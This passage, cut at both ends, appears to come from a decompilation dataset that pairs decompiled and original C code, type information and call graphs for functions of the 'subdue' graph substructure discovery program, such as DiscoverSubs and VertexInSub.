BOOLEAN found;\n if (subList != ((void *)0))\n subListNode = subList->head;\n else\n {\n printf(\"Best SubList is null\\n\");\n exit(0);\n }\n while (subListNode != ((void *)0))\n {\n sub = subListNode->sub;\n found = VertexInSub(sub->definition, vertex);\n if (found)\n return 1;\n subListNode = subListNode->next;\n }\n return 0;\n}", "canonical_original_code": "unsigned char VertexInSubList(struct SubList *subList, struct Vertex *vertex)\n{\n struct _sub_list_node *subListNode;\n struct Substructure *sub;\n unsigned char found;\n if (subList != ((void *)0))\n subListNode = subList->head;\n else\n {\n printf(\"Best SubList is null\\n\");\n exit(0);\n }\n while (subListNode != ((void *)0))\n {\n sub = subListNode->sub;\n found = VertexInSub(sub->definition, vertex);\n if (found)\n return 1;\n subListNode = subListNode->next;\n }\n return 0;\n}", "variable_types": [ [ "subList", "struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *" ], [ "vertex", "struct Vertex *" ], [ "subListNode", "struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *" ], [ "sub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "found", "unsigned char" ] ], "return_type": "unsigned char", "user_defined_types": [ "struct SubList { struct _sub_list_node *head; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "VertexInSub", "canonical_name": "func14", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall VertexInSub(unsigned __int64 *a1, _QWORD *a2)\n{\nunsigned __int64 v3; // [rsp+10h] [rbp-10h]\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\n\nv3 = a1[2];\nfor ( i = 0LL; i < *a1; ++i )\n{\nif ( *(_QWORD *)(40 * i + v3) == *a2 && *(_QWORD *)(40 * i + v3 + 8) <= a2[1] )\nreturn 1LL;\n}\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func14(unsigned __int64 *a1, _QWORD *a2)\n{\nunsigned __int64 v3; // [rsp+10h] [rbp-10h]\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\n\nv3 = a1[2];\nfor ( i = 0LL; i < *a1; ++i )\n{\nif ( *(_QWORD *)(40 * i + v3) == *a2 && *(_QWORD *)(40 * i + v3 + 8) <= a2[1] )\nreturn 1LL;\n}\nreturn 0LL;\n}", "original_code": "BOOLEAN VertexInSub(Graph *subDef, Vertex *vertex)\n{\n Vertex *vertices;\n ULONG i;\n vertices = subDef->vertices;\n for (i=0;i<subDef->numVertices;i++)\n {\n if ((vertices[i].label == vertex->label) &&\n (vertices[i].numEdges <= vertex->numEdges))\n return 1;\n }\n return 0;\n}", "canonical_original_code": "unsigned char VertexInSub(struct Graph *subDef, struct Vertex *vertex)\n{\n struct Vertex *vertices;\n unsigned long i;\n vertices = subDef->vertices;\n for (i=0;i<subDef->numVertices;i++)\n {\n if ((vertices[i].label == vertex->label) &&\n (vertices[i].numEdges <= vertex->numEdges))\n return 1;\n }\n return 0;\n}", "variable_types": [ [ "subDef", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "vertex", "struct Vertex *" ], [ "vertices", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *" ], [ "i", "unsigned long" ] ], "return_type": "unsigned char", "user_defined_types": [ "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" } ]
166bb846a3b60507021e8a8c2ab9359a72b696ce5cbb63899fb343395646101e
gromgull/subdue
[ [ "DiscoverSubs", "->", "GetInitialSubs", "SinglePreviousSub" ], [ "GetInitialSubs", "->", "DiscoverSubs" ], [ "SinglePreviousSub", "->", "DiscoverSubs" ] ]
[]
[ { "name": "DiscoverSubs", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall DiscoverSubs(__int64 a1)\n{\n__int64 v2; // [rsp+10h] [rbp-A0h]\n__int64 **v3; // [rsp+18h] [rbp-98h]\n__int64 v4; // [rsp+20h] [rbp-90h]\nunsigned __int64 **v5; // [rsp+20h] [rbp-90h]\n__int64 v6; // [rsp+28h] [rbp-88h]\n__int64 v7; // [rsp+30h] [rbp-80h]\n__int64 v8; // [rsp+38h] [rbp-78h]\nchar v9; // [rsp+47h] [rbp-69h]\nunsigned __int64 v10; // [rsp+48h] [rbp-68h]\nunsigned __int64 v11; // [rsp+50h] [rbp-60h]\nunsigned __int64 v12; // [rsp+58h] [rbp-58h]\nchar v13; // [rsp+67h] [rbp-49h]\n__int64 v14; // [rsp+68h] [rbp-48h]\nunsigned __int8 v15; // [rsp+77h] [rbp-39h]\n__int64 v16; // [rsp+78h] [rbp-38h]\n__int64 v17; // [rsp+80h] [rbp-30h]\n__int64 v18; // [rsp+88h] [rbp-28h]\n__int64 v19; // [rsp+90h] [rbp-20h]\n__int64 *i; // [rsp+98h] [rbp-18h]\n__int64 *v21; // [rsp+A0h] [rbp-10h]\n__int64 *j; // [rsp+A0h] [rbp-10h]\n__int64 **v23; // [rsp+A8h] [rbp-8h]\n\nv19 = 0LL;\nv18 = *(_QWORD *)(a1 + 1640);\nv17 = *(_QWORD *)(a1 + 1664);\nv16 = *(_QWORD *)(a1 + 1632);\nv15 = *(_BYTE *)(a1 + 1672);\nv14 = *(_QWORD *)(a1 + 1600);\nv13 = *(_BYTE *)(a1 + 1673);\nv12 = *(_QWORD *)(a1 + 1648);\nv11 = *(_QWORD *)(a1 + 1656);\nv10 = *(_QWORD *)(a1 + 1680);\nv9 = *(_BYTE *)(a1 + 1744);\nv8 = *(_QWORD *)(a1 + 1696);\nv23 = (__int64 **)GetInitialSubs(a1);\nv7 = AllocateSubList();\nwhile ( v18 && *v23 )\n{\nv21 = *v23;\nv6 = AllocateSubList();\nwhile ( v21 )\n{\nv4 = *v21;\n*v21 = 0LL;\nif ( v10 > 4 )\n{\n*(_QWORD *)(a1 + 1680) = 1LL;\nprintf(\"\\nConsidering \");\nPrintSub(v4, a1);\nputchar(10);\n*(_QWORD *)(a1 + 1680) = v10;\n}\nif ( (*(_QWORD *)(v4 + 8) > 1uLL && v8 != 3 || *(_QWORD *)(v4 + 32)) && v18 )\n{\n--v18;\nif ( v10 > 3 )\nprintf(\"%lu substructures left to be considered\\n\", v18);\nfflush(stdout);\nv3 = (__int64 **)ExtendSub(v4, a1);\nfor ( i = *v3; i; i = (__int64 *)i[1] )\n{\nv2 = *i;\n*i = 0LL;\nif ( v12 < **(_QWORD **)v2 || (EvaluateSub(v2, a1), v13) && *(double *)(v4 + 56) > *(double *)(v2 + 56) )\nFreeSub(v2);\nelse\nSubListInsert(v2, v6, v16, v15, v14);\n}\nFreeSubList(v3);\n}\nif ( v11 > **(_QWORD **)v4 )\n{\nFreeSub(v4);\n}\nelse if ( !(unsigned __int8)SinglePreviousSub(v4, a1) )\n{\nif ( v9 )\nv19 = RecursifySub(v4, a1);\nif ( v10 > 3 )\nPrintNewBestSub(v4, v7, a1);\nSubListInsert(v4, v7, v17, 0LL, v14);\nif ( v9 && v19 )\n{\nif ( v10 > 4 )\n{\n*(_QWORD *)(a1 + 1680) = 1LL;\nprintf(\"\\nConsidering Recursive \");\nPrintSub(v19, a1);\nputchar(10);\n*(_QWORD *)(a1 + 1680) = v10;\n}\nif ( v10 > 3 )\nPrintNewBestSub(v19, v7, a1);\nSubListInsert(v19, v7, v17, 0LL, v14);\n}\n}\nv21 = (__int64 *)v21[1];\n}\nFreeSubList(v23);\nv23 = (__int64 **)v6;\n}\nif ( v18 && v10 > 2 )\nputs(\"\\nSubstructure queue empty.\");\nfor ( j = *v23; j; j = (__int64 *)j[1] )\n{\nv5 = (unsigned __int64 **)*j;\n*j = 0LL;\nif ( v11 > **v5 )\n{\nFreeSub(v5);\n}\nelse if ( !(unsigned __int8)SinglePreviousSub(v5, a1) )\n{\nif ( v10 > 3 )\nPrintNewBestSub(v5, v7, a1);\nSubListInsert(v5, v7, v17, 0LL, v14);\n}\n}\nFreeSubList(v23);\nreturn v7;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1)\n{\n__int64 v2; // [rsp+10h] [rbp-A0h]\n__int64 **v3; // [rsp+18h] [rbp-98h]\n__int64 v4; // [rsp+20h] [rbp-90h]\nunsigned __int64 **v5; // [rsp+20h] [rbp-90h]\n__int64 v6; // [rsp+28h] [rbp-88h]\n__int64 v7; // [rsp+30h] [rbp-80h]\n__int64 v8; // [rsp+38h] [rbp-78h]\nchar v9; // [rsp+47h] [rbp-69h]\nunsigned __int64 v10; // [rsp+48h] [rbp-68h]\nunsigned __int64 v11; // [rsp+50h] [rbp-60h]\nunsigned __int64 v12; // [rsp+58h] [rbp-58h]\nchar v13; // [rsp+67h] [rbp-49h]\n__int64 v14; // [rsp+68h] [rbp-48h]\nunsigned __int8 v15; // [rsp+77h] [rbp-39h]\n__int64 v16; // [rsp+78h] [rbp-38h]\n__int64 v17; // [rsp+80h] [rbp-30h]\n__int64 v18; // [rsp+88h] [rbp-28h]\n__int64 v19; // [rsp+90h] [rbp-20h]\n__int64 *i; // [rsp+98h] [rbp-18h]\n__int64 *v21; // [rsp+A0h] [rbp-10h]\n__int64 *j; // [rsp+A0h] [rbp-10h]\n__int64 **v23; // [rsp+A8h] [rbp-8h]\n\nv19 = 0LL;\nv18 = *(_QWORD *)(a1 + 1640);\nv17 = *(_QWORD *)(a1 + 1664);\nv16 = *(_QWORD *)(a1 + 1632);\nv15 = *(_BYTE *)(a1 + 1672);\nv14 = *(_QWORD *)(a1 + 1600);\nv13 = *(_BYTE *)(a1 + 1673);\nv12 = *(_QWORD *)(a1 + 1648);\nv11 = *(_QWORD *)(a1 + 1656);\nv10 = *(_QWORD *)(a1 + 1680);\nv9 = *(_BYTE *)(a1 + 1744);\nv8 = *(_QWORD *)(a1 + 1696);\nv23 = (__int64 **)func1(a1);\nv7 = AllocateSubList();\nwhile ( v18 && *v23 )\n{\nv21 = *v23;\nv6 = AllocateSubList();\nwhile ( v21 )\n{\nv4 = *v21;\n*v21 = 0LL;\nif ( v10 > 4 )\n{\n*(_QWORD *)(a1 + 1680) = 1LL;\nprintf(\"\\nConsidering \");\nPrintSub(v4, a1);\nputchar(10);\n*(_QWORD *)(a1 + 1680) = v10;\n}\nif ( (*(_QWORD *)(v4 + 8) > 1uLL && v8 != 3 || *(_QWORD *)(v4 + 32)) && v18 )\n{\n--v18;\nif ( v10 > 3 )\nprintf(\"%lu substructures left to be considered\\n\", v18);\nfflush(stdout);\nv3 = (__int64 **)ExtendSub(v4, a1);\nfor ( i = *v3; i; i = (__int64 *)i[1] )\n{\nv2 = *i;\n*i = 0LL;\nif ( v12 < **(_QWORD **)v2 || (EvaluateSub(v2, a1), v13) && *(double *)(v4 + 56) > *(double *)(v2 + 56) )\nFreeSub(v2);\nelse\nSubListInsert(v2, v6, v16, v15, v14);\n}\nFreeSubList(v3);\n}\nif ( v11 > **(_QWORD **)v4 )\n{\nFreeSub(v4);\n}\nelse if ( !(unsigned __int8)func2(v4, a1) )\n{\nif ( v9 )\nv19 = RecursifySub(v4, a1);\nif ( v10 > 3 )\nPrintNewBestSub(v4, v7, a1);\nSubListInsert(v4, v7, v17, 0LL, v14);\nif ( v9 && v19 )\n{\nif ( v10 > 4 )\n{\n*(_QWORD *)(a1 + 1680) = 1LL;\nprintf(\"\\nConsidering Recursive \");\nPrintSub(v19, a1);\nputchar(10);\n*(_QWORD *)(a1 + 1680) = v10;\n}\nif ( v10 > 3 )\nPrintNewBestSub(v19, v7, a1);\nSubListInsert(v19, v7, v17, 0LL, v14);\n}\n}\nv21 = (__int64 *)v21[1];\n}\nFreeSubList(v23);\nv23 = (__int64 **)v6;\n}\nif ( v18 && v10 > 2 )\nputs(\"\\nSubstructure queue empty.\");\nfor ( j = *v23; j; j = (__int64 *)j[1] )\n{\nv5 = (unsigned __int64 **)*j;\n*j = 0LL;\nif ( v11 > **v5 )\n{\nFreeSub(v5);\n}\nelse if ( !(unsigned __int8)func2(v5, a1) )\n{\nif ( v10 > 3 )\nPrintNewBestSub(v5, v7, a1);\nSubListInsert(v5, v7, v17, 0LL, v14);\n}\n}\nFreeSubList(v23);\nreturn v7;\n}", "original_code": "SubList *DiscoverSubs(Parameters *parameters)\n{\n SubList *parentSubList;\n SubList *childSubList;\n SubList *extendedSubList;\n SubList *discoveredSubList;\n SubListNode *parentSubListNode;\n SubListNode *extendedSubListNode;\n Substructure *parentSub;\n Substructure *extendedSub;\n Substructure *recursiveSub = ((void *)0);\n ULONG limit = parameters->limit;\n ULONG numBestSubs = parameters->numBestSubs;\n ULONG beamWidth = parameters->beamWidth;\n BOOLEAN valueBased = parameters->valueBased;\n LabelList *labelList = parameters->labelList;\n BOOLEAN prune = parameters->prune;\n ULONG maxVertices = parameters->maxVertices;\n ULONG minVertices = parameters->minVertices;\n ULONG outputLevel = parameters->outputLevel;\n BOOLEAN recursion = parameters->recursion;\n ULONG evalMethod = parameters->evalMethod;\n parentSubList = GetInitialSubs(parameters);\n discoveredSubList = AllocateSubList();\n while ((limit > 0) && (parentSubList->head != ((void *)0)))\n {\n parentSubListNode = parentSubList->head;\n childSubList = AllocateSubList();\n while (parentSubListNode != ((void *)0))\n {\n parentSub = parentSubListNode->sub;\n parentSubListNode->sub = ((void *)0);\n if (outputLevel > 4)\n {\n parameters->outputLevel = 1;\n printf(\"\\nConsidering \");\n PrintSub(parentSub, parameters);\n printf(\"\\n\");\n parameters->outputLevel = outputLevel;\n }\n if ((((parentSub->numInstances > 1) && (evalMethod != 3)) ||\n (parentSub->numNegInstances > 0)) &&\n (limit > 0))\n {\n limit--;\n if (outputLevel > 3)\n printf(\"%lu substructures left to be considered\\n\", limit);\n fflush(stdout);\n extendedSubList = ExtendSub(parentSub, parameters);\n extendedSubListNode = extendedSubList->head;\n while (extendedSubListNode != ((void *)0))\n {\n extendedSub = extendedSubListNode->sub;\n extendedSubListNode->sub = ((void *)0);\n if (extendedSub->definition->numVertices <= maxVertices)\n {\n EvaluateSub(extendedSub, parameters);\n if (prune && (extendedSub->value < parentSub->value))\n {\n FreeSub(extendedSub);\n }\n else\n {\n SubListInsert(extendedSub, childSubList, beamWidth,\n valueBased, labelList);\n }\n }\n else\n {\n FreeSub(extendedSub);\n }\n extendedSubListNode = extendedSubListNode->next;\n }\n FreeSubList(extendedSubList);\n }\n if (parentSub->definition->numVertices >= minVertices)\n {\n if (! SinglePreviousSub(parentSub, parameters))\n {\n if (recursion)\n recursiveSub = RecursifySub(parentSub, parameters);\n if (outputLevel > 3)\n PrintNewBestSub(parentSub, discoveredSubList, parameters);\n SubListInsert(parentSub, discoveredSubList, numBestSubs, 0,\n labelList);\n if (recursion && (recursiveSub != ((void *)0)))\n {\n if (outputLevel > 4)\n {\n parameters->outputLevel = 1;\n printf(\"\\nConsidering Recursive \");\n PrintSub(recursiveSub, parameters);\n printf (\"\\n\");\n parameters->outputLevel = outputLevel;\n }\n if (outputLevel > 3)\n PrintNewBestSub(recursiveSub, discoveredSubList, parameters);\n SubListInsert(recursiveSub, discoveredSubList, numBestSubs,\n 0, labelList);\n }\n }\n }\n else\n {\n FreeSub (parentSub);\n }\n parentSubListNode = parentSubListNode->next;\n }\n FreeSubList(parentSubList);\n parentSubList = childSubList;\n }\n if ((limit > 0) && (outputLevel > 2))\n printf (\"\\nSubstructure queue empty.\\n\");\n parentSubListNode = parentSubList->head;\n while (parentSubListNode != ((void *)0))\n {\n parentSub = parentSubListNode->sub;\n parentSubListNode->sub = ((void *)0);\n if (parentSub->definition->numVertices >= minVertices)\n {\n if (! SinglePreviousSub(parentSub, parameters))\n {\n if (outputLevel > 3)\n PrintNewBestSub(parentSub, discoveredSubList, parameters);\n SubListInsert(parentSub, discoveredSubList, numBestSubs, 0,\n labelList);\n }\n }\n else\n {\n FreeSub(parentSub);\n }\n parentSubListNode = parentSubListNode->next;\n }\n FreeSubList(parentSubList);\n return discoveredSubList;\n}", "canonical_original_code": "struct SubList *DiscoverSubs(struct Parameters *parameters)\n{\n struct SubList *parentSubList;\n struct SubList *childSubList;\n struct SubList *extendedSubList;\n struct SubList *discoveredSubList;\n struct _sub_list_node *parentSubListNode;\n struct _sub_list_node *extendedSubListNode;\n struct Substructure *parentSub;\n struct Substructure *extendedSub;\n struct Substructure *recursiveSub = ((void *)0);\n unsigned long limit = parameters->limit;\n unsigned long numBestSubs = parameters->numBestSubs;\n unsigned long beamWidth = parameters->beamWidth;\n unsigned char valueBased = parameters->valueBased;\n struct LabelList *labelList = parameters->labelList;\n unsigned char prune = parameters->prune;\n unsigned long maxVertices = parameters->maxVertices;\n unsigned long minVertices = parameters->minVertices;\n unsigned long outputLevel = parameters->outputLevel;\n unsigned char recursion = parameters->recursion;\n unsigned long evalMethod = parameters->evalMethod;\n parentSubList = GetInitialSubs(parameters);\n discoveredSubList = AllocateSubList();\n while ((limit > 0) && (parentSubList->head != ((void *)0)))\n {\n parentSubListNode = parentSubList->head;\n childSubList = AllocateSubList();\n while (parentSubListNode != ((void *)0))\n {\n parentSub = parentSubListNode->sub;\n parentSubListNode->sub = ((void *)0);\n if (outputLevel > 4)\n {\n parameters->outputLevel = 1;\n printf(\"\\nConsidering \");\n PrintSub(parentSub, parameters);\n printf(\"\\n\");\n parameters->outputLevel = outputLevel;\n }\n if ((((parentSub->numInstances > 1) && (evalMethod != 3)) ||\n (parentSub->numNegInstances > 0)) &&\n (limit > 0))\n {\n limit--;\n if (outputLevel > 3)\n printf(\"%lu substructures left to be considered\\n\", limit);\n fflush(stdout);\n extendedSubList = ExtendSub(parentSub, parameters);\n extendedSubListNode = extendedSubList->head;\n while (extendedSubListNode != ((void *)0))\n {\n extendedSub = extendedSubListNode->sub;\n extendedSubListNode->sub = ((void *)0);\n if (extendedSub->definition->numVertices <= maxVertices)\n {\n EvaluateSub(extendedSub, parameters);\n if (prune && (extendedSub->value < parentSub->value))\n {\n FreeSub(extendedSub);\n }\n else\n {\n SubListInsert(extendedSub, childSubList, beamWidth,\n valueBased, labelList);\n }\n }\n else\n {\n FreeSub(extendedSub);\n }\n extendedSubListNode = extendedSubListNode->next;\n }\n FreeSubList(extendedSubList);\n }\n if (parentSub->definition->numVertices >= minVertices)\n {\n if (! SinglePreviousSub(parentSub, parameters))\n {\n if (recursion)\n recursiveSub = RecursifySub(parentSub, parameters);\n if (outputLevel > 3)\n PrintNewBestSub(parentSub, discoveredSubList, parameters);\n SubListInsert(parentSub, discoveredSubList, numBestSubs, 0,\n labelList);\n if (recursion && (recursiveSub != ((void *)0)))\n {\n if (outputLevel > 4)\n {\n parameters->outputLevel = 1;\n printf(\"\\nConsidering Recursive \");\n PrintSub(recursiveSub, parameters);\n printf (\"\\n\");\n parameters->outputLevel = outputLevel;\n }\n if (outputLevel > 3)\n PrintNewBestSub(recursiveSub, discoveredSubList, parameters);\n SubListInsert(recursiveSub, discoveredSubList, numBestSubs,\n 0, labelList);\n }\n }\n }\n else\n {\n FreeSub (parentSub);\n }\n parentSubListNode = parentSubListNode->next;\n }\n FreeSubList(parentSubList);\n parentSubList = childSubList;\n }\n if ((limit > 0) && (outputLevel > 2))\n printf (\"\\nSubstructure queue empty.\\n\");\n parentSubListNode = parentSubList->head;\n while (parentSubListNode != ((void *)0))\n {\n parentSub = parentSubListNode->sub;\n parentSubListNode->sub = ((void *)0);\n if (parentSub->definition->numVertices >= minVertices)\n {\n if (! SinglePreviousSub(parentSub, parameters))\n {\n if (outputLevel > 3)\n PrintNewBestSub(parentSub, discoveredSubList, parameters);\n SubListInsert(parentSub, discoveredSubList, numBestSubs, 0,\n labelList);\n }\n }\n else\n {\n FreeSub(parentSub);\n }\n parentSubListNode = parentSubListNode->next;\n }\n FreeSubList(parentSubList);\n return discoveredSubList;\n}", "variable_types": [ [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "parentSubList", "struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *" ], [ "childSubList", "struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *" ], [ "extendedSubList", "struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *" ], [ "discoveredSubList", "struct SubList { struct _sub_list_node { struct 